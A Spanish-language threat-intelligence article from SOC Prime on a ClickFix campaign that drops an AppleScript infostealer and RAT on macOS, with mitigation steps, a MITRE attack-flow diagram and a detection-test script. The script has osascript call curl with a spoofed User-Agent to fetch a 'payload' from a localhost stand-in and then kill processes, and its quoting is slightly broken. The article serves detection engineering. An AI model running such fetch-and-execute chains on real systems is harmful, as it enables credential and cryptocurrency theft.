SOC Prime Bias: Crítico

24 Jun 2026 15:40 UTC

Se emplean señuelos macOS ClickFix para desplegar un ladrón AppleScript y un RAT persistente

Author Photo
SOC Prime Team linkedin icon Seguir
Se emplean señuelos macOS ClickFix para desplegar un ladrón AppleScript y un RAT persistente
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un actor de amenaza de habla rusa está utilizando una campaña de ingeniería social ClickFix para desplegar una infección de malware de macOS en dos etapas. El ataque comienza con una cadena de ejecución sin archivos lanzada a través de comandos del terminal y entrega un infostealer basado en AppleScript llamado Meow (DEBUG) junto con un troyano de acceso remoto persistente. El malware apunta a billeteras de criptomonedas, credenciales del navegador y datos de sesión de mensajería, además de realizar inyecciones de código intrusivas en aplicaciones de billeteras de escritorio.

Investigación

Netskope Threat Labs identificó una versión actualizada de la campaña el 31 de mayo de 2026, mostrando un cambio de un stealer básico a un RAT más capaz. Su análisis descubrió un flujo de infección sofisticado sin archivos, lógica de geofence diseñada para evitar a las víctimas de habla rusa, y re-firmado ad-hoc utilizado para eludir las protecciones de Gatekeeper de macOS. Los investigadores también vincularon la campaña a 25 dominios señuelo de corta duración que compartían la misma información de contacto del registrador.

Mitigación

Los defensores deben priorizar el bloqueo de dominios señuelo y monitorear comandos sospechosos del terminal que involucren curl and osascript. Las organizaciones deberían aplicar controles más estrictos sobre el acceso al terminal y observar cambios no autorizados en paquetes de aplicaciones de billeteras de criptomonedas. La detección basada en host también puede centrarse en el plist de persistencia com.apple.accountsd y el /tmp/shub_ patrón de preparación.

Respuesta

Si se detecta esta actividad, aísle el host de macOS afectado inmediatamente para detener el robo de datos o el posible movimiento lateral. Todas las billeteras de criptomonedas de escritorio instaladas deben tratarse como comprometidas y reinstalarse desde fuentes de confianza. Los investigadores también deben realizar una revisión forense de LaunchDaemons y LaunchAgents para entradas no autorizadas, con particular atención a com.apple.accountsd.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Initial Access and Execution attack_drive_by["<b>Action</b> – <b idea='T1189'>Drive-by Compromise</b><br/>Victims visit malicious lure domains<br/>such as filesapphirecanvas.sbs or<br/>filemintcastle.sbs masquerading as<br/>macOS utilities or GitHub repositories."] class attack_drive_by action attack_user_exec_copy["<b>Action</b> – <b idea='T1204.004'>User Execution: Malicious Copy and Paste</b><br/>Social engineering victims to copy<br/>commands from fake websites into<br/>the macOS Terminal."] class attack_user_exec_copy action attack_obfuscation["<b>Action</b> – <b idea='T1027.009'>Obfuscated Files or Information: Embedded Payloads</b><br/>Uses gzip-compressed and base64-encoded<br/>heredoc to run a stage 1 loader in memory."] class attack_obfuscation action %% Loader Logic and Guardrails loader_stage1["<b>Process</b> – <b idea='Stage 1 Loader'>Memory Resident Loader</b><br/>Executes via obfuscated command chain<br/>to avoid disk footprint."] class loader_stage1 tool guardrail_geofence["<b>Action</b> – <b idea='T1480.002'>Execution Guardrails: Mutual Exclusion</b><br/>Checks macOS keyboard layout to<br/>avoid Russian-speaking users via<br/>geofencing logic."] class guardrail_geofence action loader_reflective["<b>Action</b> – <b idea='T1620'>Reflective Code Loading</b><br/>Fetches second-stage AppleScript<br/>via curl and pipes directly into<br/>osascript memory."] class loader_reflective action %% Payload and Credential Theft malware_meow["<b>Malware</b> – <b idea='Meow Payload'>Meow Payload</b><br/>Memory-resident payload active<br/>after reflective loading."] class malware_meow malware attack_gui_capture["<b>Action</b> – <b idea='T1056.002'>Input Capture: GUI Input Capture</b><br/>Uses a spoofed System Preferences<br/>dialog to harvest user login passwords."] class attack_gui_capture action attack_securityd["<b>Action</b> – <b idea='T1555.002'>Credentials from Password Stores: Securityd Memory</b><br/>Unlocks macOS keychain to extract<br/>Safe Storage keys using harvested<br/>passwords."] class attack_securityd action %% Data Theft and Exfiltration attack_browser_discovery["<b>Action</b> – <b idea='T1217'>Browser Information Discovery</b><br/>Scans for browser data across<br/>Chrome, Safari, and Firefox."] class attack_browser_discovery action attack_session_steal["<b>Action</b> – <b idea='T1539'>Steal Web Session Cookie</b><br/>Exfiltrates session cookies to<br/>maintain unauthorized access."] class attack_session_steal exfiltration attack_crypto_theft["<b>Action</b> – <b idea='T1657'>Financial Theft</b><br/>Targets cryptocurrency wallets including<br/>MetaMask extensions and desktop apps<br/>like Exodus and Ledger."] class attack_crypto_theft exfiltration %% Persistence and C2 persistence_launch["<b>Persistence</b> – <b idea='T1543.001'>LaunchAgent or LaunchDaemon</b><br/>Creates a persistent mechanism<br/>disguised as com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Action</b> – <b idea='T1568'>Command and Control</b><br/>Establishes a 60-second beaconing loop<br/>with Dynamic Resolution for arbitrary<br/>code execution."] class c2_beaconing tool %% Connections attack_drive_by –>|leads_to| attack_user_exec_copy attack_user_exec_copy –>|triggers| attack_obfuscation attack_obfuscation –>|executes| loader_stage1 loader_stage1 –>|performs| guardrail_geofence guardrail_geofence –>|enables| loader_reflective loader_reflective –>|loads| malware_meow malware_meow –>|performs| attack_gui_capture attack_gui_capture –>|facilitates| attack_securityd attack_securityd –>|leads_to| attack_browser_discovery attack_browser_discovery –>|leads_to| attack_session_steal attack_browser_discovery –>|leads_to| attack_crypto_theft malware_meow –>|establishes| persistence_launch malware_meow –>|communicates_with| c2_beaconing "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Relato de Ataque y Comandos: Un adversario ha obtenido acceso inicial a través de un sitio web malicioso. Ejecutan un AppleScript de macOS sin archivos para evitar escaneos basados en archivos. El objetivo del script es descargar una carga útil secundaria suplantando un Agente de Usuario del navegador Chrome legítimo para eludir la inspección básica de la red y luego terminar inmediatamente cualquier aplicación de billetera de criptomonedas en ejecución para evitar que el usuario asegure sus fondos. El atacante usa osascript para llamar a curl con flags específicos y kill -9 para realizar estas acciones.

  • Script de Prueba de Regresión:

    #!/bin/bash
    # Simulación de Infostealer de AppleScript sin Archivos en macOS
    
    echo "[+] Iniciando Simulación: Infostealer sin Archivos en macOS"
    
    # Paso 1: Simular la obtención de carga útil de curl vía osascript (Activa selection_curl_ua)
    echo "[+] Ejecutando Fase 1: Curl Suplantado a través de osascript..."
    osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &
    
    # Esperar un momento para la creación del proceso
    sleep 2
    
    # Paso 2: Simular la terminación de proceso (Activa selection_kill)
    # Usamos un proceso ficticio para matar para no interrumpir el sistema
    echo "[+] Ejecutando Fase 2: Terminación de Proceso vía osascript..."
    sleep 1
    osascript -e 'do shell script "kill -9 $$"' # Nota: Esto mata al subshell actual, simulando la intención
    
    # Nota: Para una simulación más limpia que imite a un objetivo real:
    # sleep 1 && sleep 1 &
    # osascript -e 'do shell script "kill -9 $!"'
    
    echo "[+] Comandos de Simulación Enviados."
  • Comandos de Limpieza:

    # Ningún archivo fue creado por el script, pero nos aseguramos de que no existan procesos en segundo plano
    killall osascript 2>/dev/null
    echo "[+] Limpieza Completa."